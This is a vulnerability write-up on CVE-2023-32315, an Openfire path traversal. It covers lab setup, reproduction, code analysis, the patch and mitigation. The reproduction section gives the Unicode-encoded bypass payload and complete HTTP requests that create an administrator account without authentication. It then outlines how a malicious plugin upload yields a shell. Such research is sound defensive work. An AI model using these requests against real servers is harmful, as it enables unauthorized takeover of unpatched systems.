CVE-2023–32315 — Path Traversal in Openfire leads to RCE

vsociety
8 min readAug 17, 2023

Summary

A Analysis for CVE-2023–32315 which was Path Traversal in openfire.

Description

Intro

CVE: CVE-2023–32315

Description: Openfire is an XMPP server Openfire and a web-based application.

Vendor: Openfire

Product Version: 4.7.5 and 4.6.8

Openfire is messaging and groupchat server for the Extensible Messaging

and Presence Protocol (XMPP). it is written in Java

and licensed under the Apache License, Openfire was found to be vulnerable to a path traversal attack via the setup

environment. This vulnerability allowed unauthenticated access to application files

Building The Testing

I’m using Ubuntu 20.04

install docker

sudo apt install docker docker-compose

clone the docker container

git clone https://github.com/luzifer-docker/openfire

you need to edit the file by adding -remotedebug to allow to app opening

with remote debugging mode option and change the

openfire file to openfire.sh

#!/usr/local/bin/dumb-init /bin/bash
set -euo pipefail
# init configuration
[ -e "/data/security/keystore" ] || {
mkdir -p /data/security
mv /opt/openfire/resources/security/keystore /data/security/keystore
}
[ -d "/data/embedded-db" ] || { mkdir -p /data/embedded-db; }
[ -d "/data/conf" ] || { mv /opt/openfire/conf /data/conf; }
ln -sfn /data/security/keystore /opt/openfire/resources/security/keystore
ln -sfn /data/embedded-db /opt/openfire/embedded-db
rm -rf /opt/openfire/conf && ln -sfn /data/conf /opt/openfire/conf
# start openfire
/opt/openfire/bin/openfire start
# let openfire start
echo "Waiting for Openfire to start..."
count=0
while [ ! -e /opt/openfire/logs/stdoutt.log ]; do
if [ $count -eq 60 ]; then
echo "Error starting Openfire. Exiting"
exit 1
fi
count=$((count + 1))
sleep 1
done
# tail the log
tail -F /opt/openfire/logs/*.log

you need to add to the Dockerfile file to give

/opt/openfire/bin/openfire.sh the permission to let the docker start with it

LABEL maintainer Knut Ahlers <knut@ahlers.me>
ENV OPENFIRE_VERSION=4_7_4
RUN set -ex \
&& apk --no-cache add \
bash \
ca-certificates \
curl \
openjdk11 \
&& mkdir -p /opt \
&& curl -sSfL "https://www.igniterealtime.org/downloadServlet?filename=openfire/openfire_${OPENFIRE_VERSION}.tar.gz" | \
tar -xz -C /opt \
&& curl -sSfLo /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.1/dumb-init_1.2.1_amd64 \
&& chmod +x /usr/local/bin/dumb-init && chmod +x /opt/openfire/bin/openfire.sh
ADD start.sh /usr/local/bin/start.sh
EXPOSE 9090 9091 5222 5223 5269 5005
VOLUME ["/data"]
ENTRYPOINT ["/usr/local/bin/start.sh"]

build the docker container

sudo docker build -t luzifer/openfire .

run it with the exposed ports

sudo docker run -p 9090:9090 -p 9091:9091 -p 5222:5222 -p 5223:5223 -p 5269:5269 -p 5005:5005 --privileged --rm -ti -v /data/openfire:/data luzifer/openfire

now open your browser and go to localhost on 9090 port to start the installation process

Set Up the Openfire

  • Language Selections
  • Server Settings
  • Database Settings
  • Profile Settings
  • Administrator Account

Now the setup is Complete and ready to start the analysis

Reproduce The Vulnerability

go to http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp as

the following picture

obtain the cookie && CSRF token header using Burpsuite by visiting the

plugin-admin.jsp using the path traversal attack payload

as the following request

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1
Host: 192.168.225.169:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

add a new user to Openfire console with the Administrator's permission

using user-create.jsp with the cookie && CSRF header

obtained above

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=nZpKRNyUT6L78b6&username=test&email=admin@admin.com&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1
Host: 192.168.225.169:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0
cookie: JSESSIONID=node0um3l7599hhie11j3qpng1cdk420.node0; csrf=nZpKRNyUT6L78b6
Upgrade-Insecure-Requests: 1

as you can see the user added Administrator permission

After getting Authenticated now you can get a reverse shell(RCE) by uploading a Vulnerable Plugin like Openfire-management-tool-

the plugin ca n be found here

go to plugins and choose the plugin and then upload

go to server settings > Management Tool

the plugin will ask for a pass enter 123

now you can execute commands on the host server or take a reverse interactive shell

Static Analysis

based on the PoC it’s like the Vulnerability exists in how the application validates the URL characters so while I was

reviewing the code after downloading it from the official repository version 4.7.4 I catch where the application secures &&

exclude the malicious character which was here

official repository: https://github.com/igniterealtime/Openfire/tree/51b9db96d0f8611f768178901407dff05ee20f28

Vulnerable code path: https://github.com/igniterealtime/Openfire/blob/main/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java

first was the application use doFilter as the responsible function to handle the validation

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)res;
// Do not allow framing; OF-997
response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
// Reset the defaultLoginPage variable
String loginPage = defaultLoginPage;
if (loginPage == null) {
loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp" );
}
// Get the page we're on:
String url = request.getRequestURI().substring(1);
if (url.startsWith("plugins/")) {
url = url.substring("plugins/".length());
}
// See if it's contained in the exclude list. If so, skip filter execution
boolean doExclude = false;
for (String exclude : excludes) {
if (testURLPassesExclude(url, exclude)) {
doExclude = true;
break;
}
}

The testURLPassesExclude Method is called within the doExclude loop, set to

false. If the testURLPassesExclude method returns true, the request

processing will be stopped. and in case it returns false, the request will

be allowed to continue, and the application will proceed with processing the request

testURLPassesExclude Method

public static boolean testURLPassesExclude(String url, String exclude) {
// If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
// If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before
if (exclude.endsWith("*")) {
if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
// Now make suxre that there are no ".." characters in the rest of the URL.
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
else if (exclude.contains("?")) {
if (url.equals(exclude)) {
return true;
}
}
else {
int paramIndex = url.indexOf("?");
if (paramIndex != -1) {
url = url.substring(0, paramIndex);
}
if (url.equals(exclude)) {
return true;
}
}
return false;
}

root cause

testURLPassesExclude Method was to validate using (`exclude list`) to

determine the URL passed or not, It checks for

occurrences of .. or %2e and if found in the URL to prevent path

traversal attacks in the normal way but in this attack

scenario the filter can’t prevent this type because this rule gets bypassed by using a Unicode character 16-bit

/%u002e%u002e/%u002e%u002e/ payload and this gives unauthorized

access to files under the root directory the researcher

abused the built-in files to post the impact and achieve RCE, as explained in the Reproduce section

Dynamic Analysis

after downloading the source code from the official repository

add the app files by opening the File structure > Project Existing Sources

load the app files

chose Maven

build the app code

set the configuration with the host (Ubuntu && docker container)

until seeing Connected to the target VM now it’s ready to start the debugging

I will add the breakpoint in testURLPassesExeclude to see how gets bypassed

and visit the URL with the bypass to trigger the function

the method handling the URL and having the value of our payload encoded in Unicode 16-bit in the URL variable before being

passed to the filter

as clear above picture in the target=log.jsp variable the payload bypassed the filter and have access to the app files which

means dofilter return to false and let the value pass without filtering

Patch Diffing

After performing patch diffing, the difference in the patched code is that the developers added the decodedUrl variable to

decode the URL using UTF-8 encoding. If the decoding process fails or returns false, it means the usage of non-standard

encoding in the URL to avoid encoding attacks and mitigate the Path traversal

Mitigation

it’s always recommended to update the apps but in case you can’t do the update, there is a way to mitigate by editing the

configuration file which is found opt/openfire/plugins/admin/webapp/WEB-INF/web.xml and removing * from the AuthFilter element

to exclude anything after setup to Authentication to avoid and limit the risk of the Vulnerability

as this Picture:

in case the attacker tried to exploit it after the mitigation will redirect to the login page

Final Thoughts

During the analysis (static & dynamic) and debugging of the application, we saw how a single line of code can turn the entire

application into a security risk. As we observed in this CVE the path traversal vulnerability which exploited using Unicode

encoding. It’s important for developers to be aware of bypassing techniques and implement proper encoding checks. We highly

recommend using whitelists and avoiding user-controlled inputs to prevent such attacks.

Join vsociety: https://vsociety.io/
Checkout our discord: https://discord.gg/sHJtMteYHQ

--

--

vsociety

vsociety is a community centered around vulnerability research